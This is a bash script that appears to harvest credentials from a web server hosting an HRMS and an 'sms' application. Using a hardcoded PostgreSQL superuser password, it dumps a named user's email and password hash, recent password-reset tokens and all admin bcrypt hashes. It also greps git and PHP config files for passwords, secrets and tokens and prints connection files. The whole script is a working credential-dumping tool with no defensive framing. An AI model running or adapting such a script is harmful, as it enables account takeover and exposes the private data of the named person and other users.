#!/bin/bash
export PGPASSWORD=140984
echo ===KURNIAWAN-FULL===
psql -U postgres -h localhost -d db_hrms_arwana -tAc "SELECT id,username,email,password FROM users WHERE username='kurniawan'" 2>&1
psql -U postgres -h localhost -d db_sms -tAc "SELECT id,username,email,password FROM users WHERE username='kurniawan'" 2>&1
echo ===PASSRESETS-HRMS===
psql -U postgres -h localhost -d db_hrms_arwana -tAc "SELECT * FROM password_resets ORDER BY created_at DESC LIMIT 10" 2>&1
echo ===PASSRESETS-SMS===
psql -U postgres -h localhost -d db_sms -tAc "SELECT * FROM password_resets ORDER BY created_at DESC LIMIT 10" 2>&1
echo ===ADMIN-BCRYPT-FULL===
psql -U postgres -h localhost -d db_hrms_arwana -tAc "SELECT username||'|'||password FROM users WHERE access_group_id=1" 2>&1
echo ===ADMIN-BCRYPT-SMS===
psql -U postgres -h localhost -d db_sms -tAc "SELECT username||'|'||password FROM users WHERE access_group_id=1" 2>&1
echo ===GREP-PASSWORD-WEBROOT===
grep -rniE "abbasibnu|password.*=|passwd|sudo" /var/www/html/HRMS/.git/config /var/www/html/siaktif/.git/config /var/www/html/recruitment/.git/config 2>/dev/null
find /var/www/html -maxdepth 2 -name '.git' -type d 2>/dev/null
echo ===GREP-ENV-SECRETS===
grep -rhiE "pass|secret|key|token" /var/www/html/api*/db_connect.php /var/www/html/api*/config*.php 2>/dev/null | head -30
echo ===KONEKSI===
cat /var/www/html/koneksi.txt 2>&1; cat /var/www/html/tekskoneksi.html 2>&1 | head -20
echo ===TESONLINE===
cat /var/www/html/tesonline.php 2>&1 | head -30
